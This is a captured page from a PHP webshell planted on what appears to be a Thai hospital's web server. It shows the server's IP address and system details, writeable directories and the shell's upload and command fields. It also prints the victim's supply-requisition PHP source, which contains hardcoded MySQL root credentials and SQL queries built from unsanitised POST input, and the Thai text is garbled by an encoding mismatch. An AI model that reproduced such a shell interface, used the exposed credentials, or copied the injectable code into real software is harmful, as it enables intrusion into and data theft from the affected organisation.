403Webshell
Server IP : 134.236.49.22  /  Your IP : 216.73.216.114
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Menu pusdu/com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Menu pusdu/com/pusducom157พัง.php
<?php
$ebits = ini_get('error_reporting');
error_reporting($ebits ^ E_NOTICE);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<title>ÃкºãºàºÔ¡¾ÑÊ´Øâç¾ÂÒºÒÅÊѵËÕº ¡Á.10</title> 
<style type="text/css">
<!--
.style6 {color: #FF0000}
-->
</style>
</head>
<body>
<div align="center">
  <table width="728" border="0">
    <tr>
      <td width="722"><p align="center">ÃËÑÊá¼¹ ......................................... ãºàºÔ¡¾ÑÊ´Ø
        ...................../................<br>
        ãºàºÔ¡¾ÑÊ´Øâç¾ÂÒºÒÅÊѵËÕº ¡Á.10 </p>
        <p align="left"> ¶Ö§     ËÑÇ˹éÒà¨éÒ¾¹Ñ¡§Ò¹¾ÑÊ´Ø âç¾ÂÒºÒÅÊѵËÕº ¡Á.10 <br>
          ¢éÒ¾à¨éÒ¢ÍàºÔ¡¾ÑʴصÒÁÃÒ¡ÒâéÒ§·éÒ¹Õé à¾×èÍãªéã¹§Ò¹ ÃÒª¡Òà <br>
          áÅеéͧ¡ÒÃãªéÊÔ觢ͧµÒÁãºá¹º¹Õéà¾×èÍãªéã¹ÃÒª¡ÒÃà·èÒ¹Ñé¹<br>
  <?
$objConnect = mysql_connect("localhost","root","090407") or die("Error Connect to Database");
$objDB = mysql_select_db("pusducom_com");

//*** Update Condition ***//
if($_GET["Action"] == "Save")
{
	for($i=1;$i<=$_POST["hdnLine"];$i++)
	{
		mysql_query("Set names 'tis620'");
		$strSQL = "UPDATE Month_1 SET ";
		$strSQL .="Seq = '".$_POST["txtSeq$i"]."' ";
		//$strSQL .=",Item = '".$_POST["txtItem$i"]."' ";
		//$strSQL .=",Unit = '".$_POST["txtUnit$i"]."' ";		
        $strSQL .=",Req_num = '".$_POST["txtReq_num$i"]."' ";
		$strSQL .=",Allow = '".$_POST["txtAllow$i"]."' ";
		$strSQL .=",Pay = '".$_POST["txtPay$i"]."' ";
		$strSQL .=",Oneprice = '".$_POST["txtOneprice$i"]."' ";
		$strSQL .=",Totalprice = '".$_POST["txtTotalprice$i"]."' ";
		$strSQL .="WHERE Seq = '".$_POST["hdnSeq$i"]."' ";
		$objQuery = mysql_query($strSQL);
	}
	//header("location:$_SERVER[PHP_SELF]");
	//exit();
}

$strSQL = "SELECT * FROM Month_1 ORDER BY Id_num ASC";
mysql_query("Set names 'tis620'");
$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
?>
        </p></td>
    </tr>
  </table>
</div>
<form name="frmMain" method="post" action="pusducom157.php?Action=Save">
<table width="731" height="155" border="1" align="center">
  <tr>    <th width="59" rowspan="2"> <div align="center">ÅӴѺ·Õè</div></th>
    <th width="301" rowspan="2"> <div align="center">ÃÒ¡Òà </div></th>
    <th width="76" rowspan="2"> <div align="center">˹èǹѺ </div></th>
    <th width="108" rowspan="2"> <div align="center">¨Ó¹Ç¹·Õè<br>
      µéͧ¡ÒÃàºÔ¡ </div></th>
    <th height="48" colspan="4"> <div align="center" class="style6">ªèͧ¹ÕéÊÓËÃѺ<br>
      à¨éÒ˹éÒ·ÕèÈÙ¹Âì¤ÍÁ</div> </th>
    </tr>
  <tr>
    <th height="26">͹حҵÔãËé<br>
      àºÔ¡ä´é</th>
    <th>¨èÒ¨ÃÔ§</th>
    <th>ÃÒ¤ÒµèÍ<br>
      ˹èÇÂ</th>
    <th>ÃÒ¤ÒÃÇÁ</th>  
  </tr>
<?
$i =0;
while($objResult = mysql_fetch_array($objQuery))
{
	$i = $i + 1;
?>
  <tr>
    <td><div align="center">
	<input type="hidden" name="hdnSeq<?=$i;?>" size="1" value="<?=$objResult["Seq"];?>">
	<input type="text" name="txtSeq<?=$i;?>" size="1" value="<?=$objResult["Seq"];?>">
	</div></td> <td><div align="left"><input type="text" name="txtItem<?=$i;?>" size="50" value="<?=$objResult["Item"];?>"></div></td>
 <td><div align="center"><input type="text" name="txtUnit<?=$i;?>" size="3" value="<?=$objResult["Unit"];?>"></div></td>
 <td><div align="center"><input type="text" name="txtReq_num<?=$i;?>" size="2" value="<?=$objResult["Req_num"];?>"></div></td>
 <td width="84" align="center"><input type="text" name="txtAllow<?=$i;?>" size="5" value="<?=$objResult["Allow"];?>"></td>
 <td><div align="center"><input type="text" name="txtPay<?=$i;?>" size="5" value="<?=$objResult["Pay"];?>"></div></td>
 <td><div align="center"><input type="text" name="txtOneprice<?=$i;?>" size="5" value="<?=$objResult["Oneprice"];?>"></div></td>
 <td><div align="center"><input type="text" name="txtTotalprice<?=$i;?>" size="5" value="<?=$objResult["Totalprice"];?>"></div></td>
  </tr>
<?
}
?>
</table>
<left>
  <br>
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="style6">* ÃÒ¡Ò÷Ñé§ËÁ´à»ç¹ÃÒ¡ÒþÑÊ´Ø ËÒ¡µéͧ¡ÒÃàºÔ¡¤ØÃØÀѳ±ì¤ÍÁ¾ÔÇàµÍÃì ¡ÃØ³Òà¢Õ¹ãºàºÔ¡á·¹</span><br>
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="style6">* ËÒ¡¾ÑÊ´Ø·Õè˹èǧҹ㴵éͧ¡ÒÃàºÔ¡äÁèÁÕã¹ÃÒ¡Òà ¡ÃسÒá¨é§ÈÙ¹Âì¤ÍÁ¾ÔÇàµÍÃìáÅТéÍÁÙÅ</span><br><br>
</left>
   <center> 
	 <input type="submit" name="submit" value="submit">
     <input type="hidden" name="hdnLine" value="<?=$i;?>">
  </center>
</form>
<p>
  <?
mysql_close($objConnect);
?>
</p>
<table width="749" height="258" border="0" align="center">
  <tr>
    <td width="449" height="146"><p align="left">ŧª×èÍ ............................ ¼ÙéàºÔ¡¾ÑÊ´Ø</p>
      <p align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(............................)</p>
    <p align="left">µÓáË¹è§ ........................................ </p></td>
    <td width="290"><p align="left">ŧª×èÍ ............................ ¼Ùé¨èÒ¾ÑÊ´Ø</p>
      <p align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(¹Ò¨ÓÅͧ ¾ØèÁÍèÓ)</p>
    <p align="left">µÓáË¹è§ à¨éÒ˹éÒ·Õè¾ÑÊ´Ø </p></td>
  </tr>
  <tr>
    <td height="93"><p align="left">&nbsp;</p>
      <p align="left">ŧª×èÍ ............................ ¼ÙéÊÑ觨èÒ¾ÑÊ´Ø</p>
      <p align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(¹Ò§¸¹Ñ­­Ò ·Í§»Ñé¹)</p>
    <p align="left">µÓáË¹è§ ËÑÇ˹éÒà¨éÒ˹éÒ·Õè¾ÑÊ´Ø </p></td>
    <td height="93"><p align="left">&nbsp;</p>
      <p align="left">ŧª×èÍ ............................ ¼ÙéÃѺ¾ÑÊ´Ø</p>
      <p align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(............................)</p>
    <p align="left">µÓáË¹è§ ........................................ </p></td>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit